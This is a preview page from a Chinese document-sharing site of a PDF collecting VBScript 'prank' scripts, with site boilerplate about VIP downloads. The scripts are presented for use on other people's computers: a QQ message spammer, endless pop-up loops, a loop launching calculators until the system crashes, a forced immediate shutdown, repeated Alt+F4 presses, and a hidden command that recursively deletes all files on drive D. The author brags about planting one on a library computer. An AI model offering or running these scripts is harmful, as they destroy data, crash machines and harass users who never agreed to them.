整人代码大集合-多年的代码收集.pdfVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
vbs 整人代码大集合 多年的代码收集 详细出处参考: vbs 整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习 vbs 的朋 友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框 ,然后记下在你 QQ 里好友的昵称 ,把下面代码里的 xx 替换一下 , 就可以自定义发送 QQ 信息到好友的次数 (代码里的数字 10 改一下即可 ). xx.vbs= 复制代码 代码如下 : On Error Resume Next Dim wsh,ye set wsh=createobject(wscript.shell) for i=1 to 10 wscript.sleep 700 wsh.AppActivate( 与 xx 聊天中 ) wsh.sendKeys ^v wsh.sendKeys i wsh.sendKeys %s next wscript.quit QQ 骚扰信息 ,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 do msgbox You are foolish! loop 三、打开无数个计算器,直到死机 set wsh=createobject(wscript.shell) do wsh.run calc loop 四、直接关机 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run shutdown -f -s -t 00,0 ,true 五、删除 所有文件 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd /c del d:\*.* / f /q /s,0 ,true 六、不断弹出窗口 复制代码 代码如下 : while(1) msgbox 哈哈 你被耍了! loop 七、不断按下 alt+f4 (开什么都关闭……) 复制代码 代码如下 : dim WSHshell set WSHshell = wscript.createobject(wscript.shell) while(1) WSHshell.SendKeys %{F4} loop 八、按 500 次回车 ( 以上代码在运行者的电脑上显示 500 个对话框。其中 do until s=500 ,500 可以随意更改 ) 复制代码 代码如下 : dim s do until s=500 s=s+1 msgbox 哥们,给我按 500 次回车吧 ,64 loop 九、关不掉的窗口 复制代码 代码如下 : WScript.Echo( 嘿,谢谢你打开我哦,我等你很久拉! TSName) WScript.Echo( 你是可爱的小朋吗 ?) WScript.Echo( 哈 ,我想你拉,这你都不知道吗? ) WScript.Echo( 怎么才来,说 ~是不是不关心我 ) WScript.Echo( 哼 ,我生气拉,等你这么久,心都凉啦。 ) WScript.Echo( 小强很生气,后果很严重哦。 ) WScript.Echo( 嘿嘿!你也会很惨滴哦 ) WScript.Echo( 是不是想清除我? ) WScript.Echo( 那你要点上 50 下哦,不过会给你惊喜滴 ) WScript.Echo( 还剩 49 下,快点点哦

文档评论(0)

171****9235 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档